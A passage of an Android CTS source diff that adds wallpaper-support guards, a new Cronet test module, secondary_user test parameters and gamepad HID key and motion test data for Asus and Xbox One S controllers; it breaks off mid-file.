public void testAccessWallpaper() throws IOException, InterruptedException {
+ if (!isWallpaperSupported()) return;
+
// set Wallpaper by context#setWallpaper(Bitmap)
Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
// Test getWallpaper
@@ -964,6 +1007,8 @@
}
public void testGetWallpaperDesiredMinimumHeightAndWidth() {
+ if (!isWallpaperSupported()) return;
+
int height = mContext.getWallpaperDesiredMinimumHeight();
int width = mContext.getWallpaperDesiredMinimumWidth();
@@ -1484,4 +1529,7 @@
}
}
+ private boolean isWallpaperSupported() {
+ return WallpaperManager.getInstance(mContext).isWallpaperSupported();
+ }
}
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
new file mode 100644
index 0000000..0b50579
--- /dev/null
+++ b/tests/tests/cronet/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO: Move this target to cts/tests/tests/net/cronet
+android_test {
+ name: "CtsCronetTestCases",
+ defaults: ["cts_defaults"],
+
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+
+ static_libs: [
+ "CronetApiCommonTests",
+ "ctstestrunner-axt",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ ],
+
+}
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
new file mode 100644
index 0000000..b7ae844
--- /dev/null
+++ b/tests/tests/cronet/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cronet.cts" >
+
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.INTERNET" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner" />
+ <uses-library android:name="org.chromium.net.cronet" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cronet.cts"
+ android:label="CTS tests of android.cronet">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
new file mode 100644
index 0000000..79c37f7
--- /dev/null
+++ b/tests/tests/cronet/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Cronet test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsCronetTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.cronet.cts" />
+ <option name="runtime-hint" value="10s" />
+ </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
new file mode 100644
index 0000000..f4525df
--- /dev/null
+++ b/tests/tests/cronet/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
\ No newline at end of file
diff --git a/tests/tests/database/AndroidTest.xml b/tests/tests/database/AndroidTest.xml
index d48422a..a6b6b5e 100644
--- a/tests/tests/database/AndroidTest.xml
+++ b/tests/tests/database/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDatabaseTestCases.apk" />
diff --git a/tests/tests/deviceconfig/AndroidTest.xml b/tests/tests/deviceconfig/AndroidTest.xml
index d4a6a21..0d3a8b8 100644
--- a/tests/tests/deviceconfig/AndroidTest.xml
+++ b/tests/tests/deviceconfig/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDeviceConfigTestCases.apk" />
diff --git a/tests/tests/display/AndroidTest.xml b/tests/tests/display/AndroidTest.xml
index f85fcb0..ab1a61d 100644
--- a/tests/tests/display/AndroidTest.xml
+++ b/tests/tests/display/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDisplayTestCases.apk" />
diff --git a/tests/tests/dpi/AndroidTest.xml b/tests/tests/dpi/AndroidTest.xml
index 4c0ab24..9824762 100644
--- a/tests/tests/dpi/AndroidTest.xml
+++ b/tests/tests/dpi/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDpiTestCases.apk" />
diff --git a/tests/tests/dpi2/AndroidTest.xml b/tests/tests/dpi2/AndroidTest.xml
index a472714..36f4f92 100644
--- a/tests/tests/dpi2/AndroidTest.xml
+++ b/tests/tests/dpi2/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- These target Cupcake not applicable to instant apps which target Oreo+ -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDpiTestCases2.apk" />
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index 6281169..f6bd05a 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="sysui" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 0c1c200..4e5d6a9 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsGestureTestCases.apk" />
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 596e939..a6b04c6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1911,6 +1911,7 @@
if (resId == R.drawable.webp_orientation1) {
// The webp files may not look exactly the same as the jpegs.
// Recreate the reference.
+ reference.recycle();
reference = null;
}
Uri uri = getAsResourceUri(resId);
@@ -1928,6 +1929,7 @@
reference = bm;
} else {
BitmapUtils.compareBitmaps(bm, reference);
+ bm.recycle();
}
} catch (IOException e) {
fail("Decoding " + uri.toString() + " yielded " + e);
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 7ce0cbe..4b56763 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -72,7 +72,10 @@
</activity>
<activity android:name="android.hardware.input.cts.InputCtsActivity"
- android:label="InputCtsActivity" />
+ android:label="InputCtsActivity"
+ android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
+ |screenLayout|fontScale|uiMode|orientation|density|screenSize
+ |smallestScreenSize"/>
<activity android:name="android.hardware.cts.FingerprintTestActivity"
android:label="FingerprintTestActivity">
diff --git a/tests/tests/hardware/AndroidTest.xml b/tests/tests/hardware/AndroidTest.xml
index f87f742..8308013 100644
--- a/tests/tests/hardware/AndroidTest.xml
+++ b/tests/tests/hardware/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index d376163..e6b9d59 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,2 +1,7 @@
# Bug component: 24950
-michaelwr@google.com
\ No newline at end of file
+michaelwr@google.com
+
+# Trust that people only touch their own resources.
+per-file *.xml=*
+# Only input tests use JSON so far
+per-file *.json=svv@google.com
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
index 73d77b5..11f07f5 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
@@ -5,6 +5,7 @@
[0x01, 0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_A"},
{"action": "UP", "keycode": "BUTTON_A"}
@@ -17,6 +18,7 @@
[0x01, 0x02, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_B"},
{"action": "UP", "keycode": "BUTTON_B"}
@@ -29,6 +31,7 @@
[0x01, 0x04, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_X"},
{"action": "UP", "keycode": "BUTTON_X"}
@@ -41,6 +44,7 @@
[0x01, 0x08, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_Y"},
{"action": "UP", "keycode": "BUTTON_Y"}
@@ -53,6 +57,7 @@
[0x01, 0x10, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_L1"},
{"action": "UP", "keycode": "BUTTON_L1"}
@@ -65,6 +70,7 @@
[0x01, 0x20, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_R1"},
{"action": "UP", "keycode": "BUTTON_R1"}
@@ -77,6 +83,7 @@
[0x01, 0x40, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_THUMBL"},
{"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -89,6 +96,7 @@
[0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_THUMBR"},
{"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -101,6 +109,7 @@
[0x01, 0x00, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_MODE"},
{"action": "UP", "keycode": "BUTTON_MODE"}
@@ -113,9 +122,10 @@
[0x01, 0x00, 0x82, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BACK"},
{"action": "UP", "keycode": "BACK"}
]
}
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
index e104040..f44d3ce2 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
@@ -15,7 +15,8 @@
[0x01, 0x00, 0x80, 0xa0, 0xff, 0x71, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x83, 0x73, 0x71, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x83, 0x80, 0x72, 0x80, 0x00, 0x00]
- ],
+ ],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_X": 0.059, "AXIS_Y": 0.0745, "AXIS_Z": -0.106}},
{"action": "MOVE", "axes": {"AXIS_X": 0.153, "AXIS_Y": 0.9373, "AXIS_Z": -0.106}},
@@ -31,6 +32,7 @@
[0x01, 0x00, 0x60, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
{"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -43,6 +45,7 @@
[0x01, 0x00, 0x20, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
{"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -55,6 +58,7 @@
[0x01, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -67,6 +71,7 @@
[0x01, 0x00, 0x40, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -81,6 +86,7 @@
[0x01, 0x00, 0x80, 0x20, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x7a, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_X": -0.827}},
{"action": "MOVE", "axes": {"AXIS_X": -1.0}},
@@ -97,6 +103,7 @@
[0x01, 0x00, 0x80, 0x74, 0x80, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_X": 0.655}},
{"action": "MOVE", "axes": {"AXIS_X": 1.0}},
@@ -116,6 +123,7 @@
[0x01, 0x00, 0x80, 0x80, 0x4a, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Y": -0.031}},
{"action": "MOVE", "axes": {"AXIS_Y": -0.333}},
@@ -135,6 +143,7 @@
[0x01, 0x00, 0x80, 0x80, 0xd1, 0x80, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Y": 0.184}},
{"action": "MOVE", "axes": {"AXIS_Y": 1.0}},
@@ -152,6 +161,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x21, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Z": -0.200}},
{"action": "MOVE", "axes": {"AXIS_Z": -0.851}},
@@ -173,6 +183,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x93, 0x80, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x8c, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Z": 0.114}},
{"action": "MOVE", "axes": {"AXIS_Z": 0.231}},
@@ -193,6 +204,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x55, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RZ": -0.239}},
{"action": "MOVE", "axes": {"AXIS_RZ": -1.0}},
@@ -211,6 +223,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x82, 0x00, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RZ": 0.129}},
{"action": "MOVE", "axes": {"AXIS_RZ": 1.0}},
@@ -228,6 +241,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.651, "AXIS_BRAKE": 0.651}},
{"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -244,6 +258,7 @@
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xa5],
[0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.686, "AXIS_GAS": 0.686}},
{"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
@@ -251,6 +266,4 @@
{"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
]
}
-
-
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_register.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
index cfd71eb..dd422a4 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_register.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_register.json
@@ -1,9 +1,9 @@
{
"id": 1,
"command": "register",
- "name": "Odie (Test)",
- "vid": 0x18d1,
- "pid": 0x2c40,
+ "name": "Asus Gamepad (Test)",
+ "vid": 0x0b05,
+ "pid": 0x4500,
"descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json b/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json
new file mode 100755
index 0000000..8b17a07
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json
@@ -0,0 +1,179 @@
+[
+ {
+ "name": "Press BUTTON_A",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_A"},
+ {"action": "UP", "keycode": "BUTTON_A"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_B",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_B"},
+ {"action": "UP", "keycode": "BUTTON_B"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_X",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_X"},
+ {"action": "UP", "keycode": "BUTTON_X"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_Y",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_Y"},
+ {"action": "UP", "keycode": "BUTTON_Y"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_LB",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L1"},
+ {"action": "UP", "keycode": "BUTTON_L1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_RB",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R1"},
+ {"action": "UP", "keycode": "BUTTON_R1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_THUMBL",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x20, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+ {"action": "UP", "keycode": "BUTTON_THUMBL"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_THUMBR",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x40, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+ {"action": "UP", "keycode": "BUTTON_THUMBR"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_BACK",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x01],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
